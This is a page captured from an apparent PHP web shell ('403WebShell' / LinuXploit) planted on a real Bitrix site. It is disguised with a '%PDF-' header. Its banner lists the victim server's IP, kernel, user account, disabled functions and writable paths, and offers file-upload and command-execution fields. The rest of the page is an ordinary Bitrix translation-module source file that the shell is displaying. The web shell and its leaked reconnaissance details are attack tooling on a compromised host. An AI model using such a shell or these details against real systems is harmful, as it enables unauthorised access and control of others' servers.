%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.117.105.74
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/translate/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/translate/lib/file.php
<?php

namespace Bitrix\Translate;

use Bitrix\Main;
use Bitrix\Translate;
use Bitrix\Translate\Index;
use Bitrix\Translate\Text\StringHelper;

class File
	extends Translate\IO\File
	implements \Iterator, \Countable, \ArrayAccess
{
	/** @var string */
	protected $languageId;

	/** @var string */
	protected $sourceEncoding;

	/** @var string */
	protected $operatingEncoding;

	/** @var string[] */
	protected $messages = null;

	/** @var int */
	protected $messagesCount = null;

	/** @var array */
	protected $messageCodes = [];

	/** @var array */
	protected $messageEnclosure = [];

	/** @var int */
	protected $dataPosition = 0;

	/** @var Index\FileIndex */
	protected $fileIndex;


	//region Fabric

	/**
	 * Constructs instance by path.
	 *
	 * @param string $path Path to language file.
	 *
	 * @return Translate\File
	 * @throws Main\ArgumentException
	 */
	public static function instantiateByPath($path)
	{
		if (empty($path) || !is_string($path) || (mb_substr($path, -4) !== '.php') || !preg_match("#.+/lang/[a-z]{2}/.+\.php$#", $path))
		{
			throw new Main\ArgumentException("Parameter 'path' has a wrong value");
		}

		$file = (new static($path))
			->setLangId(Translate\IO\Path::extractLangId($path));

		return $file;
	}


	/**
	 * Constructs instance by file index.
	 *
	 * @param Index\FileIndex $fileIndex Language file index.
	 *
	 * @return Translate\File
	 * @throws Main\ArgumentException
	 */
	public static function instantiateByIndex(Index\FileIndex $fileIndex)
	{
		if (!$fileIndex instanceof Index\FileIndex)
		{
			throw new Main\ArgumentException();
		}

		$file = (new static($fileIndex->getFullPath()))
			->setLangId($fileIndex->getLangId());

		return $file;
	}


	/**
	 * Constructs instance by io file.
	 *
	 * @param Main\IO\File $fileIn Language file.
	 *
	 * @return Translate\File
	 * @throws Main\ArgumentException
	 */
	public static function instantiateByIoFile(Main\IO\File $fileIn)
	{
		if (!$fileIn instanceof Main\IO\File || $fileIn->getExtension() !== 'php')
		{
			throw new Main\ArgumentException();
		}

		$file = (new static($fileIn->getPath()))
			->setLangId(Translate\IO\Path::extractLangId($fileIn->getPath()));

		return $file;
	}

	//endregion

	//region Language & Encoding

	/**
	 * Returns language code of the file. If it is empty tries to detect it.
	 * @return string
	 */
	public function getLangId()
	{
		if (empty($this->languageId))
		{
			$this->languageId = Translate\IO\Path::extractLangId($this->getPath());
		}
		return $this->languageId;
	}

	/**
	 * Sets language code of the file.
	 *
	 * @param string $languageId Lang code.
	 *
	 * @return self
	 */
	public function setLangId($languageId)
	{
		$this->languageId = $languageId;

		return $this;
	}

	/**
	 * Returns source encoding of the file.
	 * @return bool
	 */
	public function getSourceEncoding()
	{
		static $encodingCache = array();

		if (empty($this->sourceEncoding))
		{
			$language = $this->getLangId();
			if (isset($encodingCache[$language]))
			{
				$this->sourceEncoding = $encodingCache[$language];
			}
			else
			{
				$this->sourceEncoding = Main\Localization\Translation::getSourceEncoding($language);
				$encodingCache[$language] = $this->sourceEncoding;
			}
		}

		return $this->sourceEncoding;
	}

	/**
	 * Sets source encoding of the file.
	 *
	 * @param string $encoding Encoding code.
	 *
	 * @return self
	 */
	public function setSourceEncoding($encoding)
	{
		$this->sourceEncoding = $encoding;

		return $this;
	}

	/**
	 * Returns operating encoding.
	 * @return bool
	 */
	public function getOperatingEncoding()
	{
		if (empty($this->operatingEncoding))
		{
			$this->operatingEncoding = Main\Localization\Translation::getCurrentEncoding();
		}

		return $this->operatingEncoding;
	}

	/**
	 * Sets operating encoding.
	 *
	 * @param string $encoding Encoding code.
	 *
	 * @return self
	 */
	public function setOperatingEncoding($encoding)
	{
		$this->operatingEncoding = $encoding;

		return $this;
	}

	// endregion

	//region Validators

	/**
	 * Lints php code.
	 *
	 * @param string $content Content to validate either content of the current file will be taken.
	 * @param int[] $validTokens Allowed php tokens.
	 * @param string[] $validChars Allowed statement characters.
	 *
	 * @return bool
	 */
	public function lint(
		$content = '',
		$validTokens = array(T_OPEN_TAG, T_CLOSE_TAG, T_WHITESPACE, T_CONSTANT_ENCAPSED_STRING, T_VARIABLE, T_COMMENT, T_DOC_COMMENT),
		$validChars = array('[', ']', ';', '=')
	)
	{
		$isValid = false;

		if (empty($content))
		{
			if ($this->isExists())
			{
				$content = $this->getContents();
			}
		}
		if (empty($content) || !is_string($content))
		{
			$this->addError(new Main\Error("Parse Error: Empty content"));
			return $isValid;
		}

		$tokens = token_get_all($content);

		$line = $tokens[0][2] || 1;
		if (!is_array($tokens[0]) || $tokens[0][0] !== T_OPEN_TAG)
		{
			$this->addError(new Main\Error("Parse Error: Wrong open tag ".token_name($tokens[0][0])." '{$tokens[0][1]}' at line {$line}"));
		}
		else
		{
			$isValid = true;
			foreach ($tokens as $token)
			{
				if (is_array($token))
				{
					$line = $token[2];
					if (
						!in_array($token[0], $validTokens) ||
						($token[0] === T_VARIABLE && $token[1] != '$MESS')
					)
					{
						$this->addError(new Main\Error("Parse Error: Wrong token ". token_name($token[0]). " '{$token[1]}' at line {$line}"));
						$isValid = false;
						break;
					}
				}
				elseif (is_string($token))
				{
					if (!in_array($token, $validChars))
					{
						$line ++;
						$this->addError(new Main\Error("Parse Error: Expected character '{$token}' at line {$line}"));
						$isValid = false;
						break;
					}
				}
			}
		}

		return $isValid;
	}

	// endregion

	//region Load & Save

	/**
	 * Loads language file for operate.
	 *
	 * @return bool
	 * @throws \ParseError
	 */
	public function load()
	{
		$this->messages = [];
		$this->messageCodes = [];
		$this->messagesCount = 0;

		if (!$this->isExists() || !$this->isFile() || ($this->getExtension() !== 'php'))
		{
			return false;
		}

		// language id
		$langId = $this->getLangId();
		if (empty($langId))
		{
			$this->addError(new Main\Error('Language Id must be filled'));
			return false;
		}

		$content = $this->getContents();
		if (
			empty($content)
			|| !is_string($content)
			|| $content === '<?'
			|| $content === '<?php'
		)
		{
			$this->addError(new Main\Error('Empty content', 'EMPTY_CONTENT'));
			return false;
		}

		// encoding
		$targetEncoding = $this->getOperatingEncoding();
		$sourceEncoding = $this->getSourceEncoding();
		$convertEncoding = (mb_strtolower($targetEncoding) != mb_strtolower($sourceEncoding));
		if ($convertEncoding)
		{
			$path = Main\Localization\Translation::convertLangPath($this->getPhysicalPath(), $this->getLangId());

			if (Main\Localization\Translation::getDeveloperRepositoryPath() !== null)
			{
				$convertEncoding = (stripos($path, Main\Localization\Translation::getDeveloperRepositoryPath()) === 0);
			}
			if (!$convertEncoding && Main\Localization\Translation::useTranslationRepository())
			{
				$convertEncoding = (stripos($path, Main\Localization\Translation::getTranslationRepositoryPath()) === 0);
			}
		}

		$messages = (function(){
			if (isset($GLOBALS['MESS']))
			{
				unset($GLOBALS['MESS']);
			}

			$MESS = [];
			\ob_start();
			include $this->getPhysicalPath();
			\ob_end_clean();

			return $MESS;
		})();

		if (is_array($messages) && count($messages) > 0)
		{
			foreach ($messages as $phraseId => $phrase)
			{
				if ($convertEncoding)
				{
					$phrase = Main\Text\Encoding::convertEncoding($phrase, $sourceEncoding, $targetEncoding);
				}

				$this->messages[$phraseId] = $phrase;
				$this->messageCodes[] = $phraseId;
				$this->messagesCount ++;
			}
		}

		return true;
	}

	/**
	 * Lints php code.
	 *
	 * @return bool
	 */
	public function loadTokens()
	{
		$this->messages = [];
		$this->messageCodes = [];
		$this->messageEnclosure = [];
		$this->messagesCount = 0;

		if (!$this->isExists() || !$this->isFile() || ($this->getExtension() !== 'php'))
		{
			return false;
		}

		// language id
		$langId = $this->getLangId();
		if (empty($langId))
		{
			$this->addError(new Main\Error('Language Id must be filled'));
			return false;
		}

		$content = $this->getContents();
		if (
			empty($content)
			|| !is_string($content)
			|| $content === '<?'
			|| $content === '<?php'
		)
		{
			$this->addError(new Main\Error('Empty content', 'EMPTY_CONTENT'));
			return false;
		}

		$is = function ($token, $type, $value = null)
		{
			if (is_string($token))
			{
				return $token === $type;
			}
			if (is_array($token))
			{
				if ($token[0] === $type)
				{
					if ($value !== null)
					{
						return $token[1] === $value;
					}
					return true;
				}
			}
			return false;
		};

		$tokens = token_get_all($content);

		$hasPhraseDefinition = false;
		foreach ($tokens as $inx => $token)
		{
			if ($is($token, T_WHITESPACE))
			{
				unset($tokens[$inx]);
				continue;
			}
			if (!$hasPhraseDefinition && $is($token, T_VARIABLE, '$MESS'))
			{
				$hasPhraseDefinition = true;
			}
			//if (is_array($token))$tokens[$inx][] = token_name($token[0]);
		}

		if (!$hasPhraseDefinition)
		{
			$this->addError(new Main\Error("There are no phrase definitions"));
			return false;
		}

		array_splice($tokens, 0, 0);

		$addPhrase = function ($phraseId, $phraseParts, $isHeredoc = false)
		{
			if ($phraseId != '')
			{
				$len = mb_strlen($phraseId, $this->getOperatingEncoding());
				$phraseId = mb_substr($phraseId, 1, $len - 2, $this->getOperatingEncoding());// strip trailing quotes
				$phraseId = str_replace("\\\\", "\\", $phraseId);// strip slashes in code

				$enclosure = $isHeredoc ? '<<<' : mb_substr($phraseParts[0], 0, 1);// what quote

				$phrase = '';
				if ($isHeredoc)
				{
					$part = $phraseParts[0];
					$len = mb_strlen($part, $this->getOperatingEncoding());
					$phrase = mb_substr($part, 0, $len - 1, $this->getOperatingEncoding());// strip final \n
				}
				else
				{
					foreach ($phraseParts as $part)
					{
						$enclosure = mb_substr($part, 0, 1);// what quote
						// strip trailing quotes
						if ($enclosure === '"' || $enclosure === "'")
						{
							$len = mb_strlen($part, $this->getOperatingEncoding());
							$part = mb_substr($part, 1, $len - 2, $this->getOperatingEncoding());
						}
						//$part = StringHelper::unescapePhp($part, $enclosure);
						$phrase .= $part;
					}
				}

				$this->messages[$phraseId] = $phrase;
				$this->messageCodes[] = $phraseId;
				$this->messageEnclosure[$phraseId] = $enclosure;
				$this->messagesCount++;
			}
		};

		$startPhrase = false;
		$endPhrase = false;
		$inPhrase = false;
		$inCode = false;
		$isHeredoc = false;
		$phraseId = '';
		$phrase = [];
		$whereIsPhrase = [];

		foreach ($tokens as $inx => &$token)
		{
			if (!$startPhrase && $is($token, T_VARIABLE, '$MESS'))
			{
				$startPhrase = true;
			}

			if ($startPhrase)
			{
				if ($is($token, '['))
				{
					$inCode = true;
				}
				elseif ($is($token, ']'))
				{
					$inCode = false;
				}
				elseif ($is($token, '='))
				{
					$inPhrase = true;
				}
				elseif ($is($token, ';'))
				{
					$endPhrase = true;
				}
				elseif ($is($token, T_CLOSE_TAG))
				{
					$endPhrase = true;
				}
				elseif ($is($token, T_START_HEREDOC))
				{
					$isHeredoc = true;
				}

				if (
					$inPhrase
					&& $is($token, T_VARIABLE, '$MESS')
					&& $is($tokens[$inx + 1], '[')
					&& $is($tokens[$inx + 2], T_CONSTANT_ENCAPSED_STRING)
				)
				{
					$clonePhraseId = $tokens[$inx + 2][1];
					$cloneInx = $whereIsPhrase[$clonePhraseId];
					$phrase[] = $tokens[$cloneInx][1];
					$endPhrase = true;
				}

				if ($is($token, T_CONSTANT_ENCAPSED_STRING) || $is($token, T_ENCAPSED_AND_WHITESPACE))
				{
					if ($inPhrase)
					{
						$phrase[] = $token[1];
						$whereIsPhrase[$phraseId] = $inx;
					}
					if ($inCode)
					{
						$phraseId = $token[1];
					}
				}

				if ($endPhrase)
				{
					$addPhrase($phraseId, $phrase, $isHeredoc);

					$phrase = [];
					$phraseId = '';
					$startPhrase = false;
					$endPhrase = false;
					$inPhrase = false;
					$inCode = false;
					$isHeredoc = false;
				}
			}

			// todo: Handle here developer's comment from file
			// T_COMMENT T_DOC_COMMENT
		}

		if ($startPhrase)
		{
			$addPhrase($phraseId, $phrase, $isHeredoc);
		}

		return true;
	}

	//endregion

	//region Load & Save

	/**
	 * Save changes or create new file.
	 *
	 * @return boolean
	 */
	public function save()
	{
		// language id
		$langId = $this->getLangId();
		if (empty($langId))
		{
			throw new Main\SystemException("Language Id must be filled");
		}

		// encoding
		$operatingEncoding = $this->getOperatingEncoding();
		$sourceEncoding = $this->getSourceEncoding();
		$convertEncoding = (mb_strtolower($operatingEncoding) != mb_strtolower($sourceEncoding));
		if ($convertEncoding)
		{
			$path = Main\Localization\Translation::convertLangPath($this->getPhysicalPath(), $this->getLangId());

			if (Main\Localization\Translation::getDeveloperRepositoryPath() !== null)
			{
				$convertEncoding = (stripos($path, Main\Localization\Translation::getDeveloperRepositoryPath()) === 0);
			}
			if (!$convertEncoding && Main\Localization\Translation::useTranslationRepository())
			{
				$convertEncoding = (stripos($path, Main\Localization\Translation::getTranslationRepositoryPath()) === 0);
			}
		}

		$content = '';
		foreach ($this->messages as $phraseId => $phrase)
		{
			if (empty($phrase) && $phrase !== '0')
			{
				// remove empty
				continue;
			}
			$phrase = str_replace(["\r\n", "\r"], ["\n", ''], $phrase);
			if ($convertEncoding)
			{
				$phrase = Main\Text\Encoding::convertEncoding($phrase, $operatingEncoding, $sourceEncoding);
			}
			$enclosure = '"';
			if (isset($this->messageEnclosure[$phraseId]))
			{
				$enclosure = $this->messageEnclosure[$phraseId];// preserve origin quote
			}
			$row = '$MESS["'. StringHelper::escapePhp($phraseId, '"', "\\\\"). '"] = ';

			if ($enclosure === '<<<')
			{
				$row .= "<<<HTML\n". StringHelper::escapePhp($phrase, $enclosure). "\nHTML";
			}
			else
			{
				$row .= $enclosure. StringHelper::escapePhp($phrase, $enclosure). $enclosure;
			}

			$content .= "\n". $row. ';';
		}
		unset($phraseId, $phrase, $row);

		if ($content <> '')
		{
			if (parent::putContents('<?php'. $content. "\n") === false)
			{
				$filePath = $this->getPath();
				throw new Main\IO\IoException("Couldn't write language file '{$filePath}'");
			}
		}
		else
		{
			// todo: Add module setting that will allow / disallow drop empty lang files.
			if ($this->isExists())
			{
				$this->markWritable();
				$this->delete();
			}
		}

		return true;
	}

	/**
	 * Removes empty parent chain up to "lang".
	 *
	 * @return boolean
	 */
	public function removeEmptyParents()
	{
		// todo: Add module setting that will allow / disallow drop empty lang folders.
		$ret = true;
		$parentFolder = $this->getDirectory();
		while (true)
		{
			if ($parentFolder->isExists() && count($parentFolder->getChildren()) > 0)
			{
				$ret = false;
				break;
			}
			if ($parentFolder->isExists())
			{
				if ($parentFolder->delete() !== true)
				{
					$ret = false;
					break;
				}
			}
			if ($parentFolder->getName() === 'lang')
			{
				break;
			}
			$parentFolder = $parentFolder->getDirectory();
		}

		return $ret;
	}

	/**
	 * Performs backup action.
	 *
	 * @return bool
	 */
	public function backup()
	{
		if (!$this->isExists())
		{
			return true;
		}

		$langId = $this->getLangId();

		$fullPath = $langFile = $this->getPhysicalPath();

		if (Main\Localization\Translation::useTranslationRepository() && in_array($langId, Translate\Config::getTranslationRepositoryLanguages()))
		{
			if (mb_strpos($langFile, Main\Localization\Translation::getTranslationRepositoryPath()) === 0)
			{
				$langFile = str_replace(
					Main\Localization\Translation::getTranslationRepositoryPath(). '/',
					'',
					$langFile
				);
			}
		}
		if (Main\Localization\Translation::getDeveloperRepositoryPath() !== null)
		{
			if (mb_strpos($langFile, Main\Localization\Translation::getDeveloperRepositoryPath()) === 0)
			{
				$langFile = str_replace(
					Main\Localization\Translation::getDeveloperRepositoryPath(). '/',
					'',
					$langFile
				);
			}
		}
		if (mb_strpos($langFile, Main\Application::getDocumentRoot()) === 0)
		{
			$langFile = str_replace(
				Main\Application::getDocumentRoot(). '/',
				'',
				$langFile
			);
		}

		$backupFolder = Translate\Config::getBackupFolder(). '/'. dirname($langFile). '/';
		if (!Translate\IO\Path::checkCreatePath($backupFolder))
		{
			$this->addError(new Main\Error("Couldn't create backup path '{$backupFolder}'"));
			return false;
		}

		$sourceFilename = basename($langFile);
		$prefix = date('YmdHi');
		$endpointBackupFilename = $prefix. '_'. $sourceFilename;
		if (file_exists($backupFolder. $endpointBackupFilename))
		{
			$i = 1;
			while (file_exists($backupFolder. '/'. $endpointBackupFilename))
			{
				$i ++;
				$endpointBackupFilename = $prefix. '_'. $i. '_'. $sourceFilename;
			}
		}

		$isSuccessfull = (bool) @copy($fullPath, $backupFolder. '/'. $endpointBackupFilename);
		@chmod($backupFolder. '/'. $endpointBackupFilename, BX_FILE_PERMISSIONS);

		if (!$isSuccessfull)
		{
			$this->addError(new Main\Error("Couldn't backup file '{$fullPath}'"));
		}

		return $isSuccessfull;
	}

	//endregion


	//region Index


	/**
	 * Returns or creates file index instance.
	 *
	 * @return Index\FileIndex
	 */
	public function getFileIndex()
	{
		if (!$this->fileIndex instanceof Index\FileIndex)
		{
			$indexFileRes = Index\Internals\FileIndexTable::getList([
				'filter' => [
					'=LANG_ID' => $this->getLangId(),
					'=FULL_PATH' => $this->getPath(),
				],
				'limit' => 1
			]);
			$this->fileIndex = $indexFileRes->fetchObject();
		}

		if (!$this->fileIndex instanceof Index\FileIndex)
		{
			$this->fileIndex = (new Index\FileIndex())
				->setFullPath($this->getPath())
				->setLangId($this->getLangId());
		}

		return $this->fileIndex;
	}


	/**
	 * Updates phrase index.
	 *
	 * @return Index\FileIndex
	 */
	public function updatePhraseIndex()
	{
		$this->getFileIndex();
		if ($this->fileIndex->getId() > 0)
		{
			$phraseData = array();
			foreach ($this as $code => $phrase)
			{
				$phraseData[] = array(
					'FILE_ID' => $this->fileIndex->getId(),
					'PATH_ID' => $this->fileIndex->getPathId(),
					'LANG_ID' => $this->getLangId(),
					'CODE' => $code,
					'PHRASE' => $phrase,
				);
			}

			Index\Internals\PhraseIndexTable::purge(new Translate\Filter(['fileId' => $this->fileIndex->getId()]));

			if (count($phraseData) > 0)
			{
				Index\Internals\PhraseIndexTable::bulkAdd($phraseData);
			}

			$this->fileIndex
				->setPhraseCount($this->count())
				->setIndexed(true)
				->setIndexedTime(new Main\Type\DateTime())
				->save();
		}

		return $this->fileIndex;
	}


	/**
	 * Drops phrase index.
	 *
	 * @return bool
	 */
	public function deletePhraseIndex()
	{
		$this->getFileIndex();
		if ($this->fileIndex->getId() > 0)
		{
			Index\Internals\FileIndexTable::purge(new Translate\Filter(['id' => $this->fileIndex->getId()]));
			unset($this->fileIndex);
		}

		return true;
	}

	/**
	 * Returns ORM\Collection object.
	 *
	 * @return Index\PhraseIndexCollection
	 */
	public function getPhraseIndexCollection()
	{
		$phraseIndexCollection = new Index\PhraseIndexCollection();
		foreach ($this->messages as $code => $message)
		{
			$phraseIndexCollection[] = (new Index\PhraseIndex)
				->setLangId($this->getLangId())
				->setCode($code)
				->setPhrase($message)
			;
		}

		return $phraseIndexCollection;
	}

	//endregion

	//region ArrayAccess

	/**
	 * Checks existence of the phrase by its code.
	 *
	 * @param string $code Phrase code.
	 *
	 * @return boolean
	 */
	public function offsetExists($code)
	{
		return isset($this->messages[$code]);
	}

	/**
	 * Returns phrase by its code.
	 *
	 * @param string $code Phrase code.
	 *
	 * @return string|null
	 */
	public function offsetGet($code)
	{
		if (isset($this->messages[$code]))
		{
			return $this->messages[$code];
		}

		return null;
	}

	/**
	 * Offset to set
	 *
	 * @param string $code Phrase code.
	 * @param string $phrase Phrase.
	 *
	 * @return void
	 */
	public function offsetSet($code, $phrase)
	{
		if (!isset($this->messages[$code]))
		{
			if ($this->messagesCount === null)
			{
				$this->messagesCount = 1;
			}
			else
			{
				$this->messagesCount ++;
			}
			$this->messageCodes[] = $code;
		}
		$this->messages[$code] = $phrase;
	}

	/**
	 * Unset phrase by code.
	 *
	 * @param string $code Phrase code.
	 *
	 * @return void
	 */
	public function offsetUnset($code)
	{
		if (isset($this->messages[$code]))
		{
			unset($this->messages[$code]);
			$this->messagesCount --;
			if (($i = array_search($code, $this->messageCodes)) !== false)
			{
				unset($this->messageCodes[$i]);
			}
		}
	}

	/**
	 * Sorts phrases by key, except russian.
	 *
	 * @return self
	 */
	public function sortPhrases()
	{
		\ksort($this->messages, \SORT_NATURAL);
		$this->rewind();

		return $this;
	}

	/**
	 * Returns all phrases from the language file with theirs codes.
	 * @return array
	 */
	public function getPhrases()
	{
		return $this->messages;
	}

	/**
	 * Returns all phrase codes from the language file.
	 * @return string[]
	 */
	public function getCodes()
	{
		return is_array($this->messages) ? array_keys($this->messages) : [];
	}

	//endregion

	//region Iterator

	/**
	 * Return the current phrase element.
	 *
	 * @return string|null
	 */
	public function current()
	{
		$code = $this->messageCodes[$this->dataPosition];

		if (!isset($this->messages[$code]) || !is_string($this->messages[$code]) || (empty($this->messages[$code]) && $this->messages[$code] !== '0'))
		{
			return null;
		}

		return $this->messages[$code];
	}

	/**
	 * Move forward to next phrase element.
	 *
	 * @return void
	 */
	public function next()
	{
		++ $this->dataPosition;
	}

	/**
	 * Return the key of the current phrase element.
	 *
	 * @return int|null
	 */
	public function key()
	{
		return $this->messageCodes[$this->dataPosition] ?: null;
	}

	/**
	 * Checks if current position is valid.
	 *
	 * @return boolean
	 */
	public function valid()
	{
		return isset($this->messageCodes[$this->dataPosition], $this->messages[$this->messageCodes[$this->dataPosition]]);
	}

	/**
	 * Rewind the Iterator to the first element.
	 *
	 * @return void
	 */
	public function rewind()
	{
		$this->dataPosition = 0;
		$this->messageCodes = array_keys($this->messages);
	}

	//endregion

	//region Countable

	/**
	 * Returns amount phrases in the language file.
	 *
	 * @param bool $allowDirectFileAccess Allow include file to count phrases.
	 *
	 * @return int
	 */
	public function count($allowDirectFileAccess = false)
	{
		if ($this->messagesCount === null)
		{
			if ($this->messages !== null && count($this->messages) > 0)
			{
				$this->messagesCount = count($this->messages);
			}
			elseif ($allowDirectFileAccess)
			{
				$MESS = array();
				include $this->getPhysicalPath();

				if (is_array($MESS) && count($MESS) > 0)
				{
					$this->messagesCount = count($MESS);
				}
			}
		}

		return $this->messagesCount ?: 0;
	}

	//endregion

	//region Content

	/**
	 * Returns string fiile content.
	 *
	 * @return string|bool
	 */
	public function getContents()
	{
		$data = parent::getContents();

		if (is_string($data))
		{
			// encoding
			$targetEncoding = $this->getOperatingEncoding();
			$sourceEncoding = $this->getSourceEncoding();
			if ($targetEncoding != $sourceEncoding)
			{
				$data = Main\Text\Encoding::convertEncoding($data, $sourceEncoding, $targetEncoding);
			}
		}

		return $data;
	}

	/**
	 * Puts data sting into file.
	 *
	 * @param string $data Data to save.
	 * @param int $flags Flag to operate previous content @see Main\IO\File::REWRITE | Main\IO\File::APPEND.
	 *
	 * @return bool|int
	 * @throws Main\IO\FileNotFoundException
	 */
	public function putContents($data, $flags = self::REWRITE)
	{
		// encoding
		$operatingEncoding = $this->getOperatingEncoding();
		$sourceEncoding = $this->getSourceEncoding();
		if ($operatingEncoding != $sourceEncoding)
		{
			$data = Main\Text\Encoding::convertEncoding($data, $operatingEncoding, $sourceEncoding);
		}

		return parent::putContents($data, $flags);
	}

	//endregion

	//region Excess & Deficiency

	/**
	 * Compares two files and returns excess amount of phrases.
	 *
	 * @param self $ethalon File to compare.
	 *
	 * @return bool|int
	 */
	public function countExcess(self $ethalon)
	{
		return (int)count(array_diff($this->getCodes(), $ethalon->getCodes()));
	}

	/**
	 * Compares two files and returns deficiency amount of phrases.
	 *
	 * @param self $ethalon File to compare.
	 *
	 * @return bool|int
	 */
	public function countDeficiency(self $ethalon)
	{
		return (int)count(array_diff($ethalon->getCodes(), $this->getCodes()));
	}

	//endregion
}

Youez - 2016 - github.com/yon3zu
LinuXploit